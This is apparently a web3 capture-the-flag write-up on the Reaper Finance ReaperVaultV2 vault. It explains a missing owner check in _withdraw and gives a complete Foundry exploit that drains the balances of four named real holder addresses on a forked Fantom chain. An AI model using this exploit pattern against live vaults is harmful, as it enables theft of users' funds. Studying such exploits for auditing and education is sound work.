> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/unhacked/reaper.md).

# reaper

## Setup

Install Foundry:

```shell
curl -L https://foundry.paradigm.xyz | bash

foundryup
```

Git clone the reaper repo:

```shell
git clone git@github.com:ret2basic/reaper.git
```

Install dependencies, compile and run the test:

```shell
cd reaper

forge install
```

Compile and run the test:

```shell
forge test
```

This test will show `1 failed` since we have not solved the challenge yet. Once we code up our solution in `reaper/test/ReaperHack.t.sol`, we can run `forge test` to check the solution.

## Code Audit

### Overview

Open `reaper/src/ReaperVaultV2.sol` in Visual Studio. The contract inheritance tells us many things:

```solidity
contract ReaperVaultV2 is IERC4626, ERC20, ReentrancyGuard, AccessControlEnumerable {...}
```

1. This contract inherits ERC4626 - Tokenized Vaults
2. This contract inherits ERC20 - Fungible Tokens
3. This contract is unlikely to be vulnerable to reentrancy attack

### Digress: ERC-4626 Rounding Issue

Here we digress a bit from the reaper contract. Regarding ERC-4626, we should know the following things:

* What is vault
* Why ERC-4626
* ERC-4626 Rounding Issue

#### Vault and ERC-4626

A **vault** is a multi-sig solution or smart contract that can store and manage assets such as crypto. Each vault always has the tokens it generates as a form of returns. These generated tokens can later be exchanged for tokens that were originally locked in vaults.

The problem developers face concerning yield-bearing tokens is integrating tokens of different protocols. Before ERC-4626, developers have to research a bunch of protocols and figure out how to stitch them together. This can be a pain in the ass and it is also error-prone.

The main benefit of **ERC-4626** is that it standardizes tokenized vaults to make protocol integration easier and less prone to error. Since there is a common standard that you can integrate, there is no actual need to build separate adapters any longer. In a nutshell, it quickens development; composability at its peak.

{% embed url="<https://www.alchemy.com/overviews/erc-4626>" %}
What is the ERC-4626 token standard? - alchemy
{% endembed %}

#### ERC-4626 Rounding Issue

The **ERC-4626 rounding issue** often appears in Code4rena reports, for example:

{% embed url="<https://code4rena.com/reports/2022-06-notional-coop#h-01-rounding-issues-in-certain-functions>" %}
Notional x Index Coop Findings & Analysis Report
{% endembed %}

### `deposit()` and `withdraw()` Functions

For ERC20-like contracts, the `deposit()` and `withdraw()` functions are likely to be vulnerable since they are directly associated with transactions, hence directly associated with user's money.

#### `deposit()`

```solidity
function deposit(uint256 assets, address receiver) public nonReentrant returns (uint256 shares) {
	require(!emergencyShutdown, "Cannot deposit during emergency shutdown");
	require(assets != 0, "please provide amount");
	uint256 _pool = totalAssets();
	require(_pool + assets <= tvlCap, "vault is full!");
	shares = previewDeposit(assets);

	IERC20Metadata(asset).safeTransferFrom(msg.sender, address(this), assets);
	
	_mint(receiver, shares);
	emit Deposit(msg.sender, receiver, assets, shares);
}
```

This function is simple enough:

1. It checks if the contract is in "emergency shutdown" state
2. It checks if the `assets` argument is 0
3. It checks if the pool is reaching its capacity
4. It collects token from the user and mints corresponding shares back to the user

The implementation seems correct.

#### `withdraw()`

```solidity
function withdraw(uint256 assets, address receiver, address owner) external nonReentrant returns (uint256 shares) { // @audit-issue withdraw
	require(assets != 0, "please provide amount");
	shares = previewWithdraw(assets);
	_withdraw(assets, shares, receiver, owner);
	return shares;
}
```

This function is a wrapper of `_withdraw()`. We should audit that function instead.

#### `_withdraw()`

```solidity
function _withdraw(uint256 assets, uint256 shares, address receiver, address owner) internal returns (uint256) { // @audit _withdraw
	_burn(owner, shares);

	if (assets > IERC20Metadata(asset).balanceOf(address(this))) {
		uint256 totalLoss = 0;
		uint256 queueLength = withdrawalQueue.length;
		uint256 vaultBalance = 0;
		
		for (uint256 i = 0; i < queueLength; i = _uncheckedInc(i)) {
			vaultBalance = IERC20Metadata(asset).balanceOf(address(this));
			if (assets <= vaultBalance) {
				break;
			}

			address stratAddr = withdrawalQueue[i];
			uint256 strategyBal = strategies[stratAddr].allocated;
			if (strategyBal == 0) {
				continue;
			}

			uint256 remaining = assets - vaultBalance;
			uint256 loss = IStrategy(stratAddr).withdraw(Math.min(remaining, strategyBal));
			uint256 actualWithdrawn = IERC20Metadata(asset).balanceOf(address(this)) - vaultBalance;

			// Withdrawer incurs any losses from withdrawing as reported by strat
			if (loss != 0) {
				assets -= loss;
				totalLoss += loss;
				_reportLoss(stratAddr, loss);
			}

			strategies[stratAddr].allocated -= actualWithdrawn;
			totalAllocated -= actualWithdrawn;
		}

		vaultBalance = IERC20Metadata(asset).balanceOf(address(this));
		if (assets > vaultBalance) {
			assets = vaultBalance;
		}

		require(totalLoss <= ((assets + totalLoss) * withdrawMaxLoss) / PERCENT_DIVISOR, "Cannot exceed the maximum allowed withdraw slippage");
	}

	IERC20Metadata(asset).safeTransfer(receiver, assets);
	emit Withdraw(msg.sender, receiver, owner, assets, shares);
	return assets;
}
```

The vulnerability is pretty obvious: **this function never verifies whether `msg.sender` is the owner or not.** As a result, an attacker can feed his/her own address into this `receiver` field and specify any account to be the `owner`. When the `withdraw()` function is called, all the money in the vicitm account will be transferred to the attacker's account.

## Solution

To exploit this vulnerability, we are going to look for some "rich" addresses and steal money from them by calling the `withdraw()` function.

First, we go to the [vault](https://ftmscan.com/address/0x77dc33dc0278d21398cb9b16cbff99c1b712a87a) and hunt for some "rich" addresses. Click on "DAI Crypt (rfDAI)":

<figure><img src="/files/xPx6gq7aQ6kjHXCnKJkQ" alt=""><figcaption><p>DAI Crypt (rfDAI)</p></figcaption></figure>

Grab a few addresses with large "Quantity" field:

<figure><img src="/files/W2ZViLtAGk2aeKjuuDRW" alt=""><figcaption><p>Addresses with large Quantity field</p></figcaption></figure>

Make sure you click into the address and copy the address in "correct" format. The correct address format **contains uppercase letters**, for example:

<figure><img src="/files/ZyDsCtvJT41AHSfeq3E0" alt=""><figcaption><p>Correct address format</p></figcaption></figure>

Next, we want to figure out how much money they have in these addresses. To do this, we use the `reaper.balanceOf()` function:

```solidity
// Enumerate account balance
console.log("balance of account 1: ", reaper.balanceOf(0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864)/1e18);
console.log("balance of account 2: ", reaper.balanceOf(0x954773dD09a0bd708D3C03A62FB0947e8078fCf9)/1e18);
console.log("balance of account 3: ", reaper.balanceOf(0xfc83DA727034a487f031dA33D55b4664ba312f1D)/1e18);
console.log("balance of account 4: ", reaper.balanceOf(0xEB7a12fE169C98748EB20CE8286EAcCF4876643b)/1e18);
```

Here we divide each balance by `1e18` to convert wei to ether.

Use the following command to compile the contract and see the output of `console.log()`:

```shell
forge test -vv
```

<figure><img src="/files/UJTHAYuQpYRY8iHNpv1W" alt=""><figcaption><p>Account balance</p></figcaption></figure>

We will satisfy the 400k DAI requirement if we steal all money from these 4 addresses.

Finally, we are going to steal money from these addresses by calling a series of `withdraw()` functions:

```solidity
// withdraw(uint256 assets, address receiver, address owner)
reaper.withdraw(reaper.balanceOf(0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864), address(this), 0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864);
reaper.withdraw(reaper.balanceOf(0x954773dD09a0bd708D3C03A62FB0947e8078fCf9), address(this), 0x954773dD09a0bd708D3C03A62FB0947e8078fCf9);
reaper.withdraw(reaper.balanceOf(0xfc83DA727034a487f031dA33D55b4664ba312f1D), address(this), 0xfc83DA727034a487f031dA33D55b4664ba312f1D);
reaper.withdraw(reaper.balanceOf(0xEB7a12fE169C98748EB20CE8286EAcCF4876643b), address(this), 0xEB7a12fE169C98748EB20CE8286EAcCF4876643b);
```

Run `forge test` to verify our solution:

<figure><img src="/files/ue0isVWw6YvJ2DLS4GYS" alt=""><figcaption><p>reaper test passed</p></figcaption></figure>

To summarize, here is the complete solution code snipet:

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/ReaperVaultV2.sol";

interface IERC20Like {
    function balanceOf(address _addr) external view returns (uint);
}

contract CounterTest is Test {
    ReaperVaultV2 reaper = ReaperVaultV2(0x77dc33dC0278d21398cb9b16CbFf99c1B712a87A);
    IERC20Like fantomDai = IERC20Like(0x8D11eC38a3EB5E956B052f67Da8Bdc9bef8Abf3E);

    function testReaperHack() public {
        vm.createSelectFork(vm.envString("FANTOM_RPC"), 44000000);
        console.log("Your Starting Balance:", fantomDai.balanceOf(address(this)));
        
        // INSERT EXPLOIT HERE

        // Enumerate account balance
        console.log("balance of account 1: ", reaper.balanceOf(0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864)/1e18);
        console.log("balance of account 2: ", reaper.balanceOf(0x954773dD09a0bd708D3C03A62FB0947e8078fCf9)/1e18);
        console.log("balance of account 3: ", reaper.balanceOf(0xfc83DA727034a487f031dA33D55b4664ba312f1D)/1e18);
        console.log("balance of account 4: ", reaper.balanceOf(0xEB7a12fE169C98748EB20CE8286EAcCF4876643b)/1e18);

        // withdraw(uint256 assets, address receiver, address owner)
        reaper.withdraw(reaper.balanceOf(0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864), address(this), 0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864);
        reaper.withdraw(reaper.balanceOf(0x954773dD09a0bd708D3C03A62FB0947e8078fCf9), address(this), 0x954773dD09a0bd708D3C03A62FB0947e8078fCf9);
        reaper.withdraw(reaper.balanceOf(0xfc83DA727034a487f031dA33D55b4664ba312f1D), address(this), 0xfc83DA727034a487f031dA33D55b4664ba312f1D);
        reaper.withdraw(reaper.balanceOf(0xEB7a12fE169C98748EB20CE8286EAcCF4876643b), address(this), 0xEB7a12fE169C98748EB20CE8286EAcCF4876643b);

        console.log("Your Final Balance:", fantomDai.balanceOf(address(this)));
        assert(fantomDai.balanceOf(address(this)) > 400_000 ether);
    }
}
```
